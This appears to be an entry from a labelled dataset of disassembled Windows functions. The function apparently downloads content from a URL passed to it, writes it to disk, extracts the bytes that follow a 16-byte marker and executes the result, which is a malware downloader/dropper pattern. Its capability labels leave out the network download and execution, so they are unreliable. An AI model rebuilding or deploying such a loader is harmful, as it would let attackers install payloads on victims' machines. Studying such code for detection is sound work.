Function at 0x401f55
Capabilities:
Get common file path
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x3b]
mov byte [ebp - 0x3c], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x5b]
mov byte [ebp - 0x5c], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.Testing
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ebx
mov byte [ebp - 1], bl
stosb byte es:[edi], al
call dword [0x40ed90]
push ebx
push connect
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [0x40edc4]
mov esi, eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14], esi
push eax
push 0x13
push esi
call dword [0x40edec]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x13
push esi
call dword [0x40edec]
test eax, eax
je 0x4021f4
push 3
lea eax, [ebp - 0x3c]
push 0x40bd24
push eax
call fcn.00404c50
add esp, 0xc
test eax, eax
jne 0x4021ef
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40edec]
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x5c]
push eax
push 5
push esi
call dword [0x40edec]
test eax, eax
je 0x4021ef
lea eax, [ebp - 0x5c]
push eax
call fcn.00401efd
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 2
push ebx
mov esi, 0xc0000000
push 1
push esi
push dword [ebp + 0xc]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4021ef
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x14]
call dword [0x40edd8]
test eax, eax
je 0x40208f
cmp dword [ebp - 0xc], ebx
je 0x40208f
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp - 0x10]
call dword [0x40ed8c]
inc dword [ebp - 8]
jmp 0x40205a
push dword [ebp - 0x14]
call dword [0x40ed74]
push dword [ebp - 0x1c]
call dword [0x40ed74]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [0x40ed80]
push 0x40bd30
push dword [ebp + 8]
call fcn.00404bd0
pop ecx
test eax, eax
pop ecx
je 0x4021e4
push ebx
push 0x80
push 3
push ebx
push 1
push esi
push dword [ebp + 0xc]
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4021ef
push dword [ebp - 8]
call fcn.00404b0f
push dword [ebp - 8]
mov edi, eax
push ebx
push edi
call fcn.004047c0
add esp, 0x10
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4021ef
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [ebp - 8], ebx
jbe 0x402197
cmp byte [esi + edi], 0xb1
jne 0x402191
cmp byte [esi + edi + 1], 0xc5
jne 0x402191
cmp byte [esi + edi + 2], 0x11
jne 0x402191
cmp byte [esi + edi + 3], 0x67
jne 0x402191
cmp byte [esi + edi + 4], 0x88
jne 0x402191
cmp byte [esi + edi + 5], 9
jne 0x402191
cmp byte [esi + edi + 6], 0x12
jne 0x402191
cmp byte [esi + edi + 7], 0x13
jne 0x402191
cmp byte [esi + edi + 8], 0xa6
jne 0x402191
cmp byte [esi + edi + 9], 0xc2
jne 0x402191
cmp byte [esi + edi + 0xa], 0x3c
jne 0x402191
cmp byte [esi + edi + 0xb], 0x15
jne 0x402191
cmp byte [esi + edi + 0xc], 0x98
jne 0x402191
cmp byte [esi + edi + 0xd], 9
jne 0x402191
cmp byte [esi + edi + 0xe], 0x91
jne 0x402191
cmp byte [esi + edi + 0xf], 0xd4
je 0x402197
inc esi
cmp esi, dword [ebp - 8]
jb 0x402122
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4021ef
lea eax, [ebp - 0x18]
push ebx
push eax
mov eax, dword [ebp - 8]
sub eax, esi
sub eax, 0x10
push eax
lea eax, [esi + edi + 0x10]
push eax
push dword [ebp - 0x10]
call dword [0x40ed8c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00404aa6
pop ecx
push 5
push dword [ebp + 0xc]
call dword [0x40ed84]
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x40ed74]
push dword [ebp - 0x1c]
call dword [0x40ed74]
push ebx
call fcn.004049d1